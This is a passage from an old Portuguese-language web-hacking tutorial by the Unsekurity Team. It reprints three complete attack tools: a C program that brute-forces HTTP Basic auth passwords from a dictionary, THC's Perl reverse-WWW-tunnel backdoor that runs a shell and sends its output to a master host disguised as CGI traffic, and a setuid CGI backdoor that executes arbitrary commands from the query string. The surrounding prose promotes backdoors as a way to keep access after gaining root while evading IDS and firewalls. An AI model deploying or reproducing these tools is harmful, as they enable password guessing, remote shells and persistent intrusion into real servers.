Forces para http.Abaixo segue o codigo fonte de um: ----------------------------- brute_web.c --------------------------------- /* * Brute Force your way into a Web Server. * -Works best on computers in the same subnet :-) * Coded by BeastMaster V on April 24, 1997. * Email questions or comments to: * bryan@scott.net * * In order to use this: * 1) Get a dictionary file. * http://www.rootshell.com/hacking/crack_dict.txt.gz * 2) Compile this program, and run it. The arguments are- * username dictfile hostname port * << most websites have 'admin' as a user >> * 3) Wait for user name and password to appear. * * NOTE: If you want to see the webserver's response, * define VERBOSE when compiling. * * WARNING: If the webserver logs, it will * be obvious that you are attacking! * * DISCLAIMER: Please use this program in a * responsible manner. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern int errno; /* Change this to whatever document you want to get off the web server */ #define DEFAULT_DOCUMENT "/" char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" "0123456789+/"; unsigned char buf_64[512]; unsigned short socket_timeout=20; char line[2048]; enum TOKENTYPE { NONE, BLANKS, PUNCT, TAG, NAME, CONTENT }; struct TOKEN { char *text; int length; int index; enum TOKENTYPE type; }; struct BASE64_PARAMS { unsigned long int accum; int shift; int save_shift; }; int read_dict_file ( char *buff, FILE *f ) { int b, i; *buff = 0; do { while ((b = fgetc(f)) != EOF && (b == ' '||b == '\t'||b =='\n' ||b == '\r')); if ( b == EOF ) return(0); for ( i = 0; b != EOF && b != '\n' && b != '\r'; i++ ) { buff[i] = (b == '\t') ? ' ': b; b = fgetc(f); } buff[i] = 0; } while (*buff == '#'); return(1); } void (*r_signal(sig, func, fd_socket, fd_accept)) (int) int sig; void (*func) (); int fd_socket; int fd_accept; { struct sigaction act, oact; act.sa_handler = func; sigemptyset(&act.sa_mask); act.sa_flags = 0; #ifdef SA_RESTART act.sa_flags |= SA_RESTART; #endif if (sigaction(sig, &act, &oact) < 0) return (SIG_ERR); return (oact.sa_handler); } /* Read 'n' bytes from a descriptor */ int readn(fd, ptr, nbytes) register int fd; register char *ptr; register int nbytes; { int nleft, nread; nleft=nbytes; while(nleft > 0) { nread=read(fd,ptr,nleft); if (nread<0) return(nread); else if (nread==0) break; nleft -=nread; ptr +=nread; } return(nbytes-nleft); } /* Write 'n' bytes to a descriptor */ int writen(fd, ptr, nbytes) register int fd; register char *ptr; register int nbytes; { int nleft, nwritten; nleft=nbytes; while(nleft > 0) { nwritten=write(fd, ptr, nleft); if(nwritten <= 0) return(nwritten); nleft -= nwritten; ptr += nwritten; } return(nbytes-nleft); } char * dateTime() { time_t t; char * s; time(&t); s = (char *)ctime((const time_t *)&t); s[24] = '\0'; return s; } void handle_SIGSEGV (void) { fprintf(stderr, "\nSegmentation Violation! [%s]\n", dateTime()); exit(1); } void handle_SIGINT (void) { fprintf(stderr, "\nSignal Interrupt! [%s]\n", dateTime()); exit(1); } void sendln(int s, char buf[1024]) { writen(s, buf, strlen(buf), 0); } int readln(int s) { int i,done=0,w, result; char tmp[1]; struct timeval timeout; fd_set inputs; sprintf(line,""); i = 0; while (!done) { FD_ZERO(&inputs); FD_SET(s, &inputs); timeout.tv_sec = socket_timeout; timeout.tv_usec = 0; result = select(FD_SETSIZE, &inputs,(fd_set *)0, (fd_set *)0,&timeout); switch(result) { case 0: printf("\n\nSocket Timeout\n"); exit(1); break; case -1: perror("select"); exit(1); break; default: w=readn(s ,tmp, 1); break; } if (w==0) return 0; if (tmp[0] != 0) { line[i] = tmp[0]; } if (line[i] == '\n') { done = 1; } i++; } line[i] = 0; return (i); } /* Code to call out on a socket */ int call_socket(hostname, portnum) char *hostname; u_short portnum; { struct sockaddr_in sa; struct hostent *hp; int a, s, foo=1; if ((hp= gethostbyname(hostname)) == NULL) { /* do we know the host's */ errno= ECONNREFUSED; /* address? */ return(-1); /* no */ } bzero(&sa,sizeof(sa)); bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length); /* set address */ sa.sin_family= hp->h_addrtype; sa.sin_port= htons((u_short)portnum); if ((s= socket(hp->h_addrtype,SOCK_STREAM,0)) < 0) /* get socket */ return(-1); #ifdef SOCKET_OPTS /* set socket options so we can try multiple connects */ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&foo,sizeof(foo))==-1) { fprintf(stderr, "Error setting SO_REUSEADDR socket option in call_socket!\n"); fflush((FILE *)stderr); exit(1); } #endif if (connect(s,(struct sockaddr *)&sa,sizeof sa) < 0) { /* connect */ perror("connect failed"); exit(1); } return(s); } int base64_encode(int quit, struct BASE64_PARAMS *e_p,char *string_to_encode) { int index; unsigned long int value; unsigned char blivit; int z=0; index = 0; while ( ( *(string_to_encode+z) ) || (e_p->shift != 0) ) { if ( ( *(string_to_encode+z) ) && ( quit == 0 ) ) { blivit = *(string_to_encode +z); z++; if ( *(string_to_encode+z)==0 ) { quit = 1; e_p->save_shift = e_p->shift; blivit = 0; } } else { quit = 1; e_p->save_shift = e_p->shift; blivit = 0; } if ( (quit == 0) || (e_p->shift != 0) ) { value = (unsigned long)blivit; e_p->accum <<= 8; e_p->shift += 8; e_p->accum |= value; } /* ENDIF */ while ( e_p->shift >= 6 ) { e_p->shift -= 6; value = (e_p->accum >> e_p->shift) & 0x3Fl; blivit = alphabet[value]; buf_64[index++] = blivit; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } if ( quit != 0 ) { e_p->shift = 0; } } } if ( e_p->save_shift == 2 ) { buf_64[index++] = '='; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } buf_64[index++] = '='; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } } else if ( e_p->save_shift == 4 ) { buf_64[index++] = '='; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } } if ( index != 0 ) { /* buf_64[index-1]='='; */ buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ } return quit; } void encode_string (char *namepass) { struct BASE64_PARAMS e_p; int quit=0; register int i; char * some; e_p.shift = 0; e_p.accum = 0; some=(char *)malloc(256); /* Nasty hack (forgive the lame coding...) */ some = (char *)namepass; for (i=0;*(some+i);i++); *(some+i)=*(some+i-1); *(some+i+1)='\0'; base64_encode(quit, &e_p, (char *)some); } void sorry (void) { printf("\nSorry, but I could not get in.\n"); printf("There are two reasons why:\n"); printf("1) The user (argv[1]) does not exist on the webserver.\n"); printf("2) The user exists, but his/her passwd was not in your dict_file.\n"); printf("Have a Nice Day. :-)\n\n"); exit(0); } void usage(char *prog_name) { printf("\nUsage: "); printf("[%s] username dictfile hostname port\n", prog_name); printf("\n"); exit(0); } int main ( argc, argv ) unsigned int argc; char **argv; { FILE * dict_fd=NULL; struct hostent *hp; unsigned short web_port=0; int sock_fd=0; char * dict_word=NULL; char export_buff[1024]; char * encoded_buffer=NULL; unsigned short finish_flag=1, success=0; int foo; if ( argc !=5 ) usage(argv[0]); r_signal(SIGSEGV, handle_SIGSEGV); r_signal(SIGINT, handle_SIGINT); dict_word= (char *)malloc (256); if ((dict_fd=fopen(argv[2], "r"))==NULL ) { fprintf(stderr, "\nCould not open dictionary file: [%s]\n%s\n\n", argv[2], strerror(errno)); exit(1); } if ((hp=(struct hostent *)gethostbyname((char *)argv[3])) == NULL) { fprintf(stderr, "\nCould not resolve hostname: [%s]\n\n", argv[3]); exit(1); } web_port = atoi(argv[4]); encoded_buffer=(char *)malloc(512); while (read_dict_file(dict_word, dict_fd)) { if ((sock_fd=call_socket(argv[3], web_port))==-1) { perror("socket connection"); exit(1); } #ifndef SOLARIS if ((foo=ioctl(sock_fd, FIONBIO , 1))==-1) { perror("ioctl"); exit(1); } #else if ((foo=fcntl(sock_fd, O_NDELAY, 1)) <0) { perror("ioctl"); exit(1); } #endif sprintf(export_buff, "GET / HTTP/1.0\n"); sendln(sock_fd, export_buff); sprintf(encoded_buffer, "%s:%s", argv[1], dict_word); encode_string(encoded_buffer); sprintf(export_buff, "Authorization: Basic %s\n\n",buf_64); sendln(sock_fd, export_buff); memset(line, '\0', sizeof(line)); while( readln(sock_fd)) { #ifdef VERBOSE printf("%s", line); fflush((FILE *)stdout); #endif /* Change this to a more sophisticated test. */ /* This test is pretty lame, but works for */ /* all practical purposes. */ if (strstr(line, "nauthorized")) finish_flag=0; } if (finish_flag) { close(sock_fd); finish_flag=1; success=1; break; } finish_flag=1; close(sock_fd); } fclose(dict_fd); if (!success) sorry(); else { printf("\n\nThe UserName is: %s\n", argv[1]); printf("The Password is: %s\n", dict_word); printf("\n\n\n ---- Coded by BeastMaster V ----\n"); exit(0); } } -------------------------------------------------------------------------- Enorme este programa, um belo algoritmo, mas tambem possui suas limitacoes. Eu ando escrevendo um brutal force para isto faz tempo, mas o proprio tempo nao vem deixando eu terminar este programa, mas em todo caso, ele tambem eh bem especifico, talvez num futuro proximo ele possa ser inserido em algum txt. -------------- 3 - BACKDOORS | -------------- Os Servidores WEB sao bem mais uteis do que apenas para serem usados para se alterar uma pagina.Eh possivel criar backdoors que recebam comandos e executem os mesmos atraves do Servidor WEB.Varios sao os esquemas de backdoors que podem ser implementados atraves do protocolo HTTP e do Servidor WEB.Uma vez que um atacante tenha obtido acesso e adquirido status de super usuario no sistema, as possibilidades se tornam infindaveis. Abaixo seguem dois esquemas de backdoors via Servidor WWW e CGI. 3.1. - HTTP Tunel ------------------ Mais uma vez os tuneis estao presentes.O Conceito de backdoors sobre Firewalls eh extensivel ao uso de backdoors sobre protocolos, canalizando assim um Tunel capaz de funcionar como uma via a espera de comunicacao (Conceito Cliente/Servidor).Um Tunel em HTTP pode funcionar de diversos modos, mas na maioria dos casos eh atraves de requisicoes de URLs que os comandos sao enviados e processados no servidor alvo. O pessoal da The Hackers Choice postou um excelente exemplo de backdoor via HTTP, que pode ser visto abaixo: --------------------------- rwwwshell-1.6.perl ----------------------------- #!/usr/bin/perl # # Reverse-WWW-Tunnel-Backdoor v1.6 # (c) 1998 by van Hauser / [THC] - The Hacker's Choice # Check out http://r3wt.base.org for updates # Proof-of-Concept Program for the paper "Placing Backdoors through Firewalls" # available at the website above in the "Articles" section. # # Greets to all THC, ADM, arF and #bluebox guys # verified to work on Linux, Solaris, AIX and OpenBSD # BUGS: some Solaris machines: select(3) is broken, won't work there # on some systems Perl's recv is broken :-( (AIX, OpenBSD) ... # we can't make proper receive checks here. Workaround implemented. # # HISTORY: # v1.6: included www-proxy authentication ;-)) # v1.4: porting to various unix types (and I thought perl'd be portable...) # v1.3: initial public release of the paper including this tool # # GENERAL CONFIG (except for $MASK, everything must be the same # for MASTER and SLAVE is this section!) # $CGI_PREFIX="/cgi-bin/order?"; # should look like cgi. "?" as last char! $MASK="vi"; # for masking the program's process name $PASSWORD="THC"; # anything, nothing you have to rememeber # (not a real "password" anyway) # # MASTER CONFIG (specific for the MASTER) # $LISTEN_PORT=8080; # on which port to listen (80 [needs root] or 8080) $SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needs this!) # # SLAVE CONFIG (specific for the SLAVE) # $SHELL="/bin/sh -i"; # program to execute (e.g. /bin/sh) $DELAY="3"; # time to wait for output after your command(s) #$TIME="00:01"; # time when to connect to the master (unset if now) #$DAILY="yes"; # tries to connect once daily if set with something #$PROXY="127.0.0.1"; # set this with the Proxy if you must use one #$PROXY_PORT="3128"; # set this with the Proxy Port if you must use one #$PROXY_USER="user"; # username for proxy authentication #$PROXY_PASSWORD="pass"; # password for proxy authentication #$DEBUG=""; # for debugging purpose, turn off when in production $BROKEN_RECV="yes"; # For AIX & OpenBSD, NOT for Linux & Solaris # END OF CONFIG # nothing for you to do after this point # ################## BEGIN MAIN CODE ################## require 5.002; use Socket; $|=1; # next line changes our process name if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";} $0=$MASK; } undef $DAILY if (! $TIME); if ( !($PROXY) || !($PROXY_PORT) ) { undef $PROXY; undef $PROXY_PORT; } $protocol = getprotobyname('tcp'); if ($ARGV[0] ne "") { if ($ARGV[0] eq "-h") { print STDOUT "no commandline option : daemon mode\n"; print STDOUT "using \"-h\" as option : this help\n"; print STDOUT "any other option : slave mode\n"; exit(0); } else { print STDOUT "starting in slave mode\n"; $SLAVE_MODE = "yeah"; } } if (! $SLAVE_MODE) { &master; } else { &slave; } # END OF MAIN FUNCTION ############### SLAVE FUNCTION ############### sub slave { $pid = 0; if ($PROXY) { # setting the real config (for Proxy Support) $REAL_SERVER = $PROXY; $REAL_PORT = $PROXY_PORT; $REAL_PREFIX = "GET http://" . $SERVER . ":" . $LISTEN_PORT . $CGI_PREFIX; $PROXY_SUFFIX = "Pragma: no-cache\n"; if ( $PROXY_USER && USER_PASSWORD ) { &base64encoding; $PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE; } } else { $REAL_SERVER = $SERVER; $REAL_PORT = $LISTEN_PORT; $REAL_PREFIX = "GET " . $CGI_PREFIX; } AGAIN: if ($pid) { kill 9, $pid; } if ($TIME) { # wait until the specified $TIME $TIME =~ s/^0//; $TIME =~ s/:0/:/; (undef,$min,$hour,undef,undef,undef,undef,undef,undef) = localtime(time); $t=$hour . ":" . $min; while ($TIME ne $t) { sleep(28); # every 28 seconds we look at the watch (undef,$min,$hour,undef,undef,undef,undef,undef,undef) = localtime(time); $t=$hour . ":" .$min; } } print STDERR "Slave activated\n" if $DEBUG; if ($DAILY) { # if we must connect daily, we'll if (fork) { # fork the daily shell process to sleep(69); # ensure the master control process goto AGAIN; # won't get stuck by a fucking cmd } # the user executed. print STDERR "forked\n" if $DEBUG; } $address = inet_aton($REAL_SERVER) || die "can't resolve server\n"; $remote = sockaddr_in($REAL_PORT, $address); $forked = 0; GO: close(THC); socket(THC, &PF_INET, &SOCK_STREAM, $protocol) or die "can't create socket\n"; setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1); if (! $forked) { # fork failed? fuck, let's try again pipe R_IN, W_IN; select W_IN; $|=1; pipe R_OUT, W_OUT; select W_OUT; $|=1; $pid = fork; if (! defined $pid) { close THC; close R_IN; close W_IN; close R_OUT; close W_OUT; goto GO; } $forked = 1; } if (! $pid) { # this is the child process (execs $SHELL) close R_OUT; close W_IN; close THC; print STDERR "forking $SHELL in child\n" if $DEBUG; open STDIN, "<&R_IN"; open STDOUT, ">&W_OUT"; open STDERR, ">&W_OUT"; exec $SHELL || print W_OUT "couldn't spawn $SHELL\n"; close R_IN; close W_OUT; exit(0); } else { # this is the parent (data control + network) close R_IN; sleep($DELAY); # we wait $DELAY for the commands to complete vec($rs, fileno(R_OUT), 1) = 1; print STDERR "before: allwritten2stdin\n" if $DEBUG; select($r = $rs, undef, undef, 30); print STDERR "after : wait for allwritten2stdin\n" if $DEBUG; sleep(1); # The following readin of the command output $output = ""; # looks weird. It must be! every system vec($ws, fileno(W_OUT), 1) = 1; # behaves different :-(( print STDERR "before: readwhiledatafromstdout\n" if $DEBUG; while (select($w = $ws, undef, undef, 1)) { read R_OUT, $readout, 1 || last; $output = $output . $readout; } print STDERR "after : readwhiledatafromstdout\n" if $DEBUG; print STDERR "before: fucksunprob\n" if $DEBUG; vec($ws, fileno(W_OUT), 1) = 1; while (! select(undef, $w=$ws, undef, 0.001)) { read R_OUT, $readout, 1 || last; $output = $output . $readout; } print STDERR "after : fucksunprob\n" if $DEBUG; print STDERR "send 0byte to stdout, fail->exit\n" if $DEBUG; print W_OUT "\000" || goto ENDE; print STDERR "before: readallstdoutdatawhile!eod\n" if $DEBUG; while (1) { read R_OUT, $readout, 1 || last; last if ($readout eq "\000"); $output = $output . $readout; } print STDERR "after : readallstdoutdatawhile!eod\n" if $DEBUG; &uuencode; # does the encoding of the shell output $encoded = $REAL_PREFIX . $encoded; $encoded = $encoded . $PROXY_SUFFIX if ($PROXY); $encoded = $encoded . "\n"; print STDERR "connecting to remote, fail->exit\n" if $DEBUG; connect(THC, $remote) || goto ENDE; # connect to master print STDERR "send encoded data, fail->exit\n" if $DEBUG; send (THC, $encoded, 0) || goto ENDE; # and send data $input = ""; vec($rt, fileno(THC), 1) = 1; # wait until master sends reply print STDERR "before: wait4answerfromremote\n" if $DEBUG; while (! select($r = $rt, undef, undef, 0.00001)) {} print STDERR "after : wait4answerfromremote\n" if $DEBUG; print STDERR "read data from socket until eod\n" if $DEBUG; $error="no"; while (1) { # read until EOD (End Of Data) print STDERR "?" if $DEBUG; # OpenBSD 2.2 can't recv here! can't get any data! sucks ... recv (THC, $readin, 1, 0) || undef $error; if ((! $error) and (! $BROKEN_RECV)) { goto OK; } print STDERR "!" if $DEBUG; goto OK if (($readin eq "\000") or ($readin eq "\n") or ($readin eq "")); $input = $input . $readin; } OK: print STDERR "\nall data read, entering OK\n" if $DEBUG; $input =~ s/\n//gs; &uudecode; # decoding the data from the master print STDERR "if password not found -> exit\n" if $DEBUG; goto ENDE if ( $decoded =~ m/^$PASSWORD/s == 0); $decoded =~ s/^$PASSWORD//; print STDERR "writing input data to $SHELL\n" if $DEBUG; print W_IN "$decoded" || goto ENDE; # sending the data sleep(1); # to the shell proc. print STDERR "jumping to GO\n" if $DEBUG; goto GO; } ENDE: kill 9, $pid; $pid = 0; exit(0); } # END OF SLAVE FUNCTION ############### MASTER FUNCTION ############### sub master { socket(THC, &PF_INET, &SOCK_STREAM, $protocol) or die "can't create socket\n"; setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1); bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n"; listen(THC, 3) || die "can't listen\n"; # print the HELP print STDOUT ' Welcome to the Reverse-WWW-Tunnel-Backdoor v1.6 by van Hauser / THC ... Introduction: Wait for your SLAVE to connect, examine it\'s output and then type in your commands to execute on SLAVE. You\'ll have to wait min. the set $DELAY seconds before you get the output and can execute the next stuff. Use ";" for multiple commands. Trying to execute interactive commands may give you headache so beware. Your SLAVE may hang until the daily connect try (if set - otherwise you lost). You also shouldn\'t try to view binary data too ;-) "echo bla >> file", "cat >> file <<- EOF", sed etc. are your friends if you don\'t like using vi in a delayed line mode ;-) To exit this program on any time without doing harm to either MASTER or SLAVE just press Control-C. Now have fun.'; YOP: print STDOUT "\nWaiting for connect ..."; $remote=accept (S, THC) || goto YOP; # get the connection ($r_port, $r_slave)=sockaddr_in($remote); # and print the SLAVE $slave=gethostbyaddr($r_slave, AF_INET); # data. $slave="unresolved" if ($slave eq ""); print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n"; select S; $|=1; select STDOUT; $|=1; $input = ""; vec($socks, fileno(S), 1) = 1; $error="no"; while (1) { # read the data sent by the slave while (! select($r = $socks, undef, undef, 0.00001)) {} recv (S, $readin, 80, 0) || undef $error; if ((! $error) and (! $BROKEN_RECV)) { print STDOUT "[disconnected]\n"; } $readin =~ s/\r//g; $input = $input . $readin; last if ( $input =~ m/\n\n/s ); } &hide_as_broken_webserver if ( $input =~ m/$CGI_PREFIX/s == 0 ); $input =~ s/^.*($CGI_PREFIX)\??//s; $input =~ s/\n.*$//s; &uudecode; # decoding the data from the slave &hide_as_broken_webserver if ( $decoded =~ m/^$PASSWORD/s == 0 ); $decoded =~ s/^$PASSWORD//s; $decoded = "[Warning! No output from remote!]\n>" if ($decoded eq""); print STDOUT "$decoded"; # showing the slave output to the user $output = ; # and get his input. &uuencode; # encode the data for the slave send (S, $encoded, 0) || die "\nconnection lost!\n"; # and send it close (S); print STDOUT "sent.\n"; goto YOP; # wait for the next connect from the slave } # END OF MASTER FUNCTION ###################### MISC. FUNCTIONS ##################### sub uuencode { # does the encoding stuff for error-free data transfer via WWW $output = $PASSWORD . $output; # PW is for error checking and $uuencoded = pack "u", "$output"; # preventing sysadmins from $uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-' # sending you weird /'zcadefghjklmnopqrstuv' # data. No real /; # security! $uuencoded =~ tr/"'"/'b'/; if ( ($PROXY) && ($SLAVE_MODE) ) {# proxy drops request if > 4kb $codelength = (length $uuencoded) + (length $REAL_PREFIX) +12; $cut_length = 4099 - (length $REAL_PREFIX); $uuencoded = pack "a$cut_length", $uuencoded if ($codelength > 4111); } $encoded = $uuencoded; $encoded = $encoded . " HTTP/1.0\n" if ($SLAVE_MODE); } # END OF UUENCODE FUNCTION sub uudecode { # does the decoding of the data stream $input =~ tr/'zcadefghjklmnopqrstuv' /'\n)=(:;&><,#$*%]!\@"`\\\-' /; $input =~ tr/'b'/"'"/; $decoded = unpack "u", "$input"; } # END OF UUDECODE FUNCTION sub base64encoding { # does the base64 encoding for proxy passwords $encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD; $encoded_string = substr(pack('u', $encode_string), 1); chomp($encoded_string); $encoded_string =~ tr|` -_|AA-Za-z0-9+/|; $padding = (3 - length($encode_string) % 3) % 3; $encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding; $PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string. "\n"; } # END OF BASE64ENCODING FUNCTION sub hide_as_broken_webserver { # invalid request -> look like broken server send (S, "\n404 File Not Found\n". "\n

File Not Found

\n\n", 0); close S; print STDOUT "Warning! Illegal server access!\n"; # report to user goto YOP; } # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION # END OF PROGRAM # (c) 1998 by ----------------------------------------------------------------------------- Tomei a liberdade para publicar o programa acima para que voce possa visualizar o Conceito sobre Tunelamento em WWW.Existe outro programa muito difundido na Internet que tambem utiliza o mesmo conceito que eh o 'HTTP Tunel', nao consegui encontrar um link p/ o mesmo no momento, como outros tutoriais estao a caminho, caso queira, passe no Forum do Unsekurity Team daqui ha algum tempo que assim que eu achar eu boto um link para o mesmo lah. 3.2. - Backdoor em CGI. ------------------------ O conceito de tunelamento em WWW eh mesmo algo fantastico, mas existem esquemas melhores e dependendo do servidor, uma backdoor em CGI pode ser uma bela opcao, nao chamando a atencao de um IDS ou de um Firewall.Como sabemos, os CGIs sao programas responsaveis pela execucao e automacao de varias tarefas para um Servidor WEB, ou seja, envio de formularios, banco de dados e etc.. A criacao de uma Backdoor em CGI eh bem simples, sendo possivel sua implementacao em varios casos.Abaixo segue uma backdoor em CGI feita pelo grupo Global Hell(gH): ------------------------------ gH-cgi.c --------------------------------- /* * gH CGI Backdoor 1.0 * * Install: * ------------------------------- * % gcc -o gH.cgi gH-cgi.c * % chown root.root gH.cgi * % chmod 4755 gH.cgi * ------------------------------- * Tested with apache 1.3.4 * * Note: place gH.cgi in a cgi-bin directory * * blasphemy (cornoil@netscape.net) * */ #include #include #include #define TITLE "gH CGI Backdoor" char x2c(char *what); int header(); int footer(); int main() { FILE *out; char *qs = (char *)malloc(256); int x = 0, i = 0, c = 0, f = 0; qs = getenv("QUERY_STRING"); if (qs != NULL) { for (x = 0, i = 0; qs[i]; x++, i++) { if ((qs[x] = qs[i]) == '%') { qs[x] = x2c(&qs[i + 1]); i += 2; } } qs[x] = '\0'; for (x = 0; qs[x]; x++) { if (qs[x] == '+') { qs[x] = ' '; } } header(qs); out = popen(qs, "r"); if (out != NULL) { while (c != EOF) { c = fgetc(out); if (c != EOF && c != '\0') { printf("%c", (char) c); f++; } } pclose(out); } if (f == 0 && strcmp(qs, "") != 0) printf("gH: %s: command not found\n", qs); } footer(); return(0); } char x2c(char *what) { register char digit; digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0')); digit *= 16; digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0')); return (digit); } int header(char *qs) { printf("Content-type: text/html\n\n"); printf("\n%s\n", TITLE); printf("\n"); printf("

%s

\n", TITLE); printf("\n"); printf("
Command output: [%s]\n", qs); printf("
\n");}

int
footer() {
        printf("
\n
\n\n"); } --------------------------------------------------------------------------- Na realidade o que o CGI acima faz eh receber parametros(QUERY_STRING) e executa-los atraves de um processo popen().Num futuro proximo, num txt mais detalhado sobre CGIs abordaremos formas de como se construir backdoors em outros tipos de CGIs, fique atento! Uma backdoor em CGI mais completa segue na parte 'Links e Referencias' no item final deste arquivo texto. --------------- 4 - TERMINANDO | --------------- Existe muito a ser dito sobre Hacking de WEB, mas neste artigo basico eu vou parando por aqui.Novos tutoriais estao a caminho e assim que forem publicados, poderemos avancar juntos na implementacao e automacao das tecnicas descritas neste artigo.Um Administrador de Rede deve estar ciente dos perigos que a sua rede corre atraves da abertura do seu Servidor WEB. E um fucador deve procurar conhecer em detalhes as tecnicas usadas para tirar vantagem atraves dos furos e problemas existentes num Servidor WEB. Estude, persista que voce vai chegar lah! 4.1 - Links e Referencias -------------------------- * Sobre Vulnerabilidades no Servidor: + Enumeracao e Furos: http://packetstorm.securify.com/ http://www.securityfocus.com/ http://www.technotronic.com/ http://www.insecure.org/nmap -> Ferramenta Nmap. http://www.l0pht.com/netcat -> Ferramenta NetCat. http://self-evident.com/ -> Ferramenta VeteScan. + Problemas com CGIs e HTML: http://www.absoluta.org/cgi/cgi_seguro.htm -> Seguranca de CGI. http://www.absoluta.org/cgi/cgi_ssi.htm -> Problemas com SSI. http://hackersclub.com/km/files/c_scripts/Cgichk.c -> Scanner de CGI. + Brutal Forces: http://rootshell.com/archive-j457nxiqi3gq59dv/199707/brute_web.c.html http://hackersclub.com/km/files/hfiles/wcrk20.zip * Sobre Backdoors: http://packetstorm.securify.com/UNIX/penetration/rootkits/gH-cgi.c * Home Page Atual do Unsekurity Team: http://unsekurity.virtualave.net/ * Outros Sites Interessantes: http://www.bufferoverflow.org/ http://www.absoluta.org/ http://www.taldowin.com.br/ http://www.securenet.com.br/ 4.2 - Consideracoes Finais --------------------------- Escrever um texto eh trabalhoso mas compensador.Disponibilizar informacoes eh ir de encontro a varios conceitos e pessoas que defendem estes conceitos. O Unsekurity Team vem amadurecendo e se firmando ao longo desses poucos e rapidos 7 meses(novo, nao??) gracas a sua filosofia dominante que eh a 'Liberdade' em seu sentido amplo da palavra.Temos muito a fazer e trabalhar ainda, existem muitos conceitos a serem combatidos e muita informacao a ser discutida e liberada.Sempre acreditei no potencial de cada um dos membros do Unsekurity Team e sempre acreditarei!! Por isso, meu agradecimento vai a todos do Unsekurity Team e que todos nos, Unsekurity Team, bravos leitores e fucadores eticos possamos crescer juntos e nos unirmos cada vez mais em prol da 'LIBERDADE DE INFORMACAO'! Um abraco. Nash Leon. -------------------------------- EOF ------------------------------------